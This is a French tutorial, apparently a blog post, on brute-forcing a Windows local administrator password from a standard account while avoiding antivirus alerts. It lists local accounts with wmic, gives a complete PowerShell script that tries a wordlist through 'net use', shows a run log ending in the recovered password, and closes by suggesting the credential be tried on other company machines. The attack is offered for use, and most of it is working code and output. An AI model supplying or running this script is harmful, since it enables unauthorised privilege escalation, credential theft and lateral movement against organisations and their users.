Brute-forcer le mot de passe d’administrateur local sous Windows.

bruteforce

Nous allons voir dans cet article comment brute-forcer le mot de passe d’un administrateur local sous Windows (de 7 à 10) sans installer de logiciel ou droits admin.

Pourquoi ?

On va partir du principe qu’on ai en possession d’un ordinateur, sans compte administrateur. Ce poste a subi des réglages basiques, comme le mot de passe lors de l’accès au BIOS et un boot obligatoire sur le disque où est installé Windows ainsi qu’un antivirus à jour.

L’utilisation de boot-CD ou logiciel dédié est donc à proscrire, afin de ne pas générer d’alerte, restant ainsi totalement invisible.

Quels outils ?

Il faut trouver un outil qui ne demande pas de droit administrateur, soit fourni ou téléchargeable, sans risquer de générer une alerte.

J’ai donc choisi Powershell, l’avantage c’est que c’est qu’il est intégré dans Windows depuis Windows 7 ainsi qu’une console pour la création de scripts.

Concernant la base du script, on a toujours le souci d’utiliser des choses fournies par défaut, mais qui puissent permettre une attaque locale ou distante sur le compte admin d’un poste.

C’est pourquoi on va utiliser la commande « net use » afin de monter un lecteur réseau avec le compte administrateur.

Liste des utilisateurs

Methode 1: via explorateur de fichiers

De façon plutot simple, il suffit de se rendre dans C:\Users

Lister des utilisateurs

Il est rare que les administrateurs suppriment le compte qui leur a servi lors de l’installation.

Methode 2: via l’invite de commande

Pour ça, on va utiliser la commande wmic.

Tout d’abord, il faut le nom du poste qu’on utilise.
Soit vous avez un auto-collant sur le PC qui vous donne l’information, soit il vous suffit de saisir « hostname » dans l’invite de commande.

La commande hostname permet d’obtenir le nom du poste

Il suffit ensuite de lister les utilisateurs qui font partie du « domain » portant le nom de votre poste.

wmic useraccount where Domain='ClientAD' list full

Attention, cette commande peut être longue car elle va analyser tous les comptes, même ceux du domaine pour ne ressortir que les comptes locaux.

Ce qui donne:

AccountType=512
Description=
Disabled=FALSE
Domain=CLIENTAD
FullName=
InstallDate=
LocalAccount=TRUE
Lockout=FALSE
Name=Admin
PasswordChangeable=TRUE
PasswordExpires=FALSE
PasswordRequired=FALSE
SID=S-1-5-21-2442391230-336019265-233605844-1002
SIDType=1
Status=OK

AccountType=512
Description=Compte d'utilisateur d'administration
Disabled=TRUE
Domain=CLIENTAD
FullName=
InstallDate=
LocalAccount=TRUE
Lockout=FALSE
Name=Administrateur
PasswordChangeable=TRUE
PasswordExpires=FALSE
PasswordRequired=TRUE
SID=S-1-5-21-2442391230-336019265-233605844-500
SIDType=1
Status=Degraded

AccountType=512
Description=Compte utilisateur géré par le système.
Disabled=TRUE
Domain=CLIENTAD
FullName=
InstallDate=
LocalAccount=TRUE
Lockout=FALSE
Name=DefaultAccount
PasswordChangeable=TRUE
PasswordExpires=FALSE
PasswordRequired=FALSE
SID=S-1-5-21-2442391230-336019265-233605844-503
SIDType=1
Status=Degraded

AccountType=512
Description=Compte d'utilisateur invité
Disabled=TRUE
Domain=CLIENTAD
FullName=
InstallDate=
LocalAccount=TRUE
Lockout=FALSE
Name=Invité
PasswordChangeable=FALSE
PasswordExpires=FALSE
PasswordRequired=FALSE
SID=S-1-5-21-2442391230-336019265-233605844-501
SIDType=1
Status=Degraded

AccountType=512
Description=Compte d'utilisateur géré et utilisé par le système pour les scénarios Windows Defender Application Guard.
Disabled=TRUE
Domain=CLIENTAD
FullName=
InstallDate=
LocalAccount=TRUE
Lockout=FALSE
Name=WDAGUtilityAccount
PasswordChangeable=TRUE
PasswordExpires=TRUE
PasswordRequired=TRUE
SID=S-1-5-21-2442391230-336019265-233605844-504
SIDType=1
Status=Degraded

On va cibler ici le compte Admin.
Le compte « Administrateur » est le compte qui est créé par Windows.
Les comptes « DefaultAccount », « Invité » et « WDAGUtilityAccount » ne nous intéressent pas.

Les points à vérifier:
– Status: il faut choisir celui avec le status OK,
– AccountType: 512. Pour ce point, se réferer à la liste ici

Et maintenant ?

Maintenant, on attaque le script.

##Definir utilisateur
$uname = 'localhost\Admin'
##Action en cas d’erreur du script
$ErrorActionPreference = "Stop"
$hooray = "PasswordNotFound"

##Definir chemin de lawordlist
$CurrentPath = "C:\Users\user_std\Documents"

##Definir le fichier de wordlist
$FileName = "wordlist50k-local.txt"
$FName= "$CurrentPath\$FileName"
$count = 0
foreach($value in [System.IO.File]::ReadLines($Fname))
{
$count = $count + 1
$passAttempt = ('net use \' + '192.168.100.10' + ' "' + $value + '" ' + '/u:' + $uname )
try
{
Write-Output ("trying password " + $value)
$output = Invoke-Expression $passAttempt | Out-Null
$hooray = $value
write-output ("FOUND the user password: " + $value)
break
}
catch
{
}
}
write-host "The Password is: " $hooray
write-host "tried " $count " passwords"

Une fois mis en forme:

Un poil plus clair quand même non ?

J’ai pris, dans ce fichier de glisser assez tôt le mot de passe correspondant.
On exécute et on surveille:

PS C:\Users\user_std> C:\Users\user_std\Documents\bruteforce_local.ps1
trying password 123456
trying password password
trying password 12345678
trying password qwerty
trying password 123456789
trying password 12345
trying password 1234
trying password 111111
trying password 1234567
trying password dragon
trying password 123123
trying password baseball
trying password abc123
trying password football
trying password monkey
trying password letmein
trying password 696969
trying password Azerty123!!
FOUND the user password: Azerty123!!
The Password is: Azerty123!!
tried 18 passwords

Preuve en image

Pour la forme, je vais glisser le bon mot de passe en dernière position du fichier wordlist.

Voici le résultat après une heure:

Après une heure, on obtient le bon mot de passe.

Plus ? Possibilités ?

Maintenant qu’on a réussi en local, il reste possible de tester cet identifiant sur les autres postes de l’entreprise (des fois que le mot de passe soit le même), tester avec un identifiant réseau (attention aux bannissements/verrouillages de session).